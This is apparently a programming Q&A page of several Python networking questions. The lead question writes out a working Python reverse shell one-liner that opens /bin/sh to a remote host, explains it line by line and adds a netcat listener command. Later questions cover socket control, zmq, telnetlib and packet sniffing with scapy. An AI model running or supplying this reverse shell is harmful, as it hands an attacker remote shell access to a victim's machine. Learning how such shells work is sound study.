How does a Python reverse shell one-liner work? - python

Consider:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
So this is a Python reverse shell one-liner and can be found easily just by googling it. To better understanding this, let's write it in multi-line:
1# import socket,subprocess,os
2# s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
3# s.connect(("10.0.0.1",1234))
4# os.dup2(s.fileno(),0)
5# os.dup2(s.fileno(),1)
6# os.dup2(s.fileno(),2)
7# p=subprocess.call(["/bin/sh","-i"])
Most parts of this is pretty easy to understand. In the first line, we import necessary modules. In the second line we make a socket object using the IPv4 family and TCP protocol. Line Three is where we connect to our server (attacker machine) and in line 4, 5, and 6, we duplicate the socket file descriptor as 0 (standard input), 1 (standard output), and 2 (standard error) (I can be wrong here). In the end, we start the bin/sh shell in interactive mode.
This is working fine. All we need is just to change the IP address and port to connect, and in the other end (server) we need to listen for an incoming connection and it can be done easily using netcat:
nc -nlvp 1234
I just don't understand after establishing the reverse shell, how this client machine (the machine that we run the Python reverse shell one-liner on it) can send the output of commands that it received from the server. I mean, there aren’t any send() or recv() method.
I tried to write a server myself using Python, but it does not work properly and I can't receive the output of my commands.
(But here's a Python reverse shell that I have been coded, and it works fine: https://github.com/ramixix/Python_Reverse_Shell.git. I’d be happy if you check it out.)
How does it work and how can I write a server for it?

Related

How to run interactive commands using python tcp socket?

Say if I wanted to run vim ./foo.txt I want to be able to edit foo.txt with my tcp socket client.
But whenever I try to do this it executes on the server but not on my client.
I do not want to use paramiko or any other ssh-like modules I want to stay using the python socket module.
I am using python 3.
I would suggest opening a command on the server (where the file is) with the subprocess module. This way to can keep putting information into it. You can have the client send a message which tells the server to send x to the subprocess.
An example would be like this:
import subprocess
# Assuming the variable x is that the socket is sending the server...
editing_foo = subprocess.Popen(['vim', './foo.txt'], stdin=PIPE) # stdin must be PIPE to communicate
editing_foo.communicate(input=x) # input is a string which is sent to the subprocess
# x could have been 'i' or ':q!' for example

Python.exe has stopped working while using zmq

I am running the following code and it terminates with the following message. Please refer to the screenshot.
import zmq
context = zmq.Context()
socket = context.socket(zmq.SUB)
socket.connect('tcp://0.0.0.0:5555')
zmq is the Python binding for ØMQ. There are links for Python.exe stopped working, however the solutions appear to be problem specific. Please suggest the way forward. Thanks in advance.
Using ZeroMQ inside quasi-cluster-enabled clients requires more care:
Be it iPython, Jupyter or even Spyder, these python WYSIWYG- or IDE-frontends use ZeroMQ on their own internally, and quite intensively, to communicate between the GUI in "terminal" or the "notebook" and the backend python-engine(s).
So a double care is needed. Every port-mapping is even more delicate.
As one might read, O/S reports that the problems are on the backend-engine, that went mad, not on the GUI frontend.
Anyway,rather do not use bewildered constructors like tcp://0.0.0.0:<port#> or tcp://*:<port#>
Documentation explicitly advises another approach how to safely .connect() to localhost ( sure, that port was still free from iPython / Jupyter / Spyder own use ):
>>> print zmq.Socket.connect.__doc__
s.connect(addr)
Connect to a remote 0MQ socket.
Parameters
----------
addr : str
The address string. This has the form 'protocol://interface:port',
for example 'tcp://127.0.0.1:5555'. Protocols supported are
tcp, upd, pgm, inproc and ipc. If the address is unicode, it is
encoded to utf-8 first.
>>>

accessing router via telnet lib python

I'm working on a code that uses telnetlib of python to connect to a router and execute commands and stores the output in a file.
I'm using read_until('#') function and expecting a Router prompt, then execute the next command but my code freezes when I receive a '--More--' data from the remote telnet side. I tried using a pattern match to find '--More--' but then sometime the --More-- keyword doesn't come at once.
Any suggestion ?
Do I have to send some IAC command to the remote telnet side ?
sometime the --More-- keyword doesn't come at once
Try passing in a timeout.
Example: set timeout to 5 seconds for read_until():
read_until('--More--', 5)
Alternatively, you could use the expect() function to look for either '#' or '--More--' with a timeout:
expect(['#', '--More--'], 5)

scapy sniff function not catching any packets

I've been following Seitz's black hat python book and he gives an example of capturing network traffic using the scapy library.
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
def packet_callback(packet):
print packet.show()
sniff(filter="",iface="any",prn=packet_callback, count = 1)
I run the above function as follows: sudo python sniffer.py and open google chrome to a page. No packets get captured. I do a ping request to a domain and nothing gets captured. I was expecting the print packet.show() line to print the first packet being sent.
All of this is being run on a Macbook Pro on a wireless internet connection.
Can someone help me troubleshoot?
if you want scapy to sniff on all interfaces, just remove the iface = "any" parameter. Since "any" is not an interface therefore scapy cannot sniff.
Also remove the filter parameter since it is not applying any filter.
The correct command would like like this.
sniff(prn=packet_callback, count = 1)
iface argument expects exact name of the interface. Most likely you do not have an interface named ANY. You can omit the argument, which is most likely what you have to do in this case, or use actual interface name (such as "eth0").
I actually get an exception "No such device", when I try your code. Is this the actual code you run?
Also, please, write scapy version. I am using python3 version, which you can get from http://github.com/phaethon/scapy or as scapy-python3.

Python request object return through socket

My setup is as follows:
Python 2.6 (embedded in commercial app) uses subprocess to launch an external script in (external) python 2.7.
The external script then uses the socket module to send python commands back to embedded python.
The socket is initialized with the following code:
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
And I send commands using:
self.sock.send("print ('hello, world!')")
This is working quite well at the moment. I am able to send all the commands I want, and control the program nicely.
My question: how can I request to be sent information back through the socket?
I need to ask the program to give me a list of strings, for example. But I have a hard time grasping how the embedded python would send any data back through my open socket?
Thanks!
You can always have a bidirectional socket communication.
When the external python send something, always send in a tuple where one of the arguments can specify that you are asking for something.
Let me give an example,
Setup a bidirectional socket communication (Simple client-server model- synchronous or asynchronous depends on what your project/app requires.)
2.7 sends a tuple like this -
(<command>, 1)
The 1 indicating that you want the output of the command that you sent ( which you said is working, would be sent back to 2.7.
So, when 2.6 receives the tuple, the 0th position of the tuple always represents the command it is trying to send, and the 1st position represents the send back argument.
Using a simple if-else condition, you can check if it is 1, then send back the result to 2.7 - otherwise not.
Fairly simple logic.

Categories